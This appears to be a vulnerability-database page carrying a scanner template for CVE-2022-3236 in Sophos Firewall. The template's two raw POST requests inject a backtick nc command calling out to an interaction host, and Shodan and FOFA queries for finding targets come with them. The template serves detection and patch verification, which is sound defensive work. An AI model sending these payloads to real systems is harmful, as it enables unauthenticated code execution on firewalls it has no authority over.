Sophos Firewall <= 19.0 MR1 - Remote Code Execution
CVE-2022-3236
Verified
Description
Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code.
Severity
Critical
CVSS Score
9.8
Exploit Probability
93%
Affected Product
firewall
Published Date
January 9, 2026
Template Author
daffainfo
CVE-2022-3236.yaml
id: CVE-2022-3236
info:
name: Sophos Firewall <= 19.0 MR1 - Remote Code Execution
author: daffainfo
severity: critical
description: |
Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code.
impact: |
Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.
remediation: |
Update to the latest version of Sophos Firewall.
reference:
- https://www.thezdi.com/blog/2022/10/19/cve-2022-3236-sophos-firewall-user-portal-and-web-admin-code-injection
- https://nvd.nist.gov/vuln/detail/cve-2022-3236
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-3236
cwe-id: CWE-94
epss-score: 0.92841
epss-percentile: 0.9977
cpe: cpe:2.3:a:sophos:firewall:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: sophos
product: firewall
shodan-query: http.title:"Sophos"
fofa-query: title="sophos"
tags: cve,cve2022,sophos,firewall,rce,intrusive,oast,kev,vkev
flow: http(1) || http(2)
http:
- raw:
- |
POST /userportal/Controller HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
mode=451&json=%7b%22username%22%3a%22admin%22%2c%22password%22%3a%22x%22%2c%22languageid%22%3a%221%22%2c%22browser%22%3a%22Firefox_91%22%2c%22_discriminator%22%3a%7b%22curvalue%22%3a%22%3b%60nc%20{{interactsh-url}}%2080%60%22%7d%2c%22value%22%3a%22curvalue%22%7d&__RequestType=ajax&t=1710331582506
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(content_type, "text/plain")'
- 'contains(header, "Server: xxxx")'
- 'status_code == 200'
- 'contains(body, "redirectionURL")'
condition: and
- raw:
- |
POST /webconsole/Controller HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
mode=151&json=%7b%22username%22%3a%22admin%22%2c%22password%22%3a%22x%22%2c%22languageid%22%3a%221%22%2c%22browser%22%3a%22Firefox_91%22%2c%22_discriminator%22%3a%7b%22curvalue%22%3a%22%3b%60nc%20{{interactsh-url}}%2080%60%22%7d%2c%22value%22%3a%22curvalue%22%7d&__RequestType=ajax&t=1710331582506
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(content_type, "text/plain")'
- 'contains(header, "Server: xxxx")'
- 'status_code == 200'
- 'contains(body, "redirectionURL")'
condition: and
# digest: 4a0a00473045022100fc9f16f3c94bfef25a330dddd66b10c54b8b51a27d96f7353d52ecdf3a58e2f7022028218813cd0bbbe7aa56d4e6e8ee825588fc41f82b263cbb95a90f72123868a2:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2022-3236
CWE ID:
cwe-94
Remediation Steps
Update to the latest version of Sophos Firewall.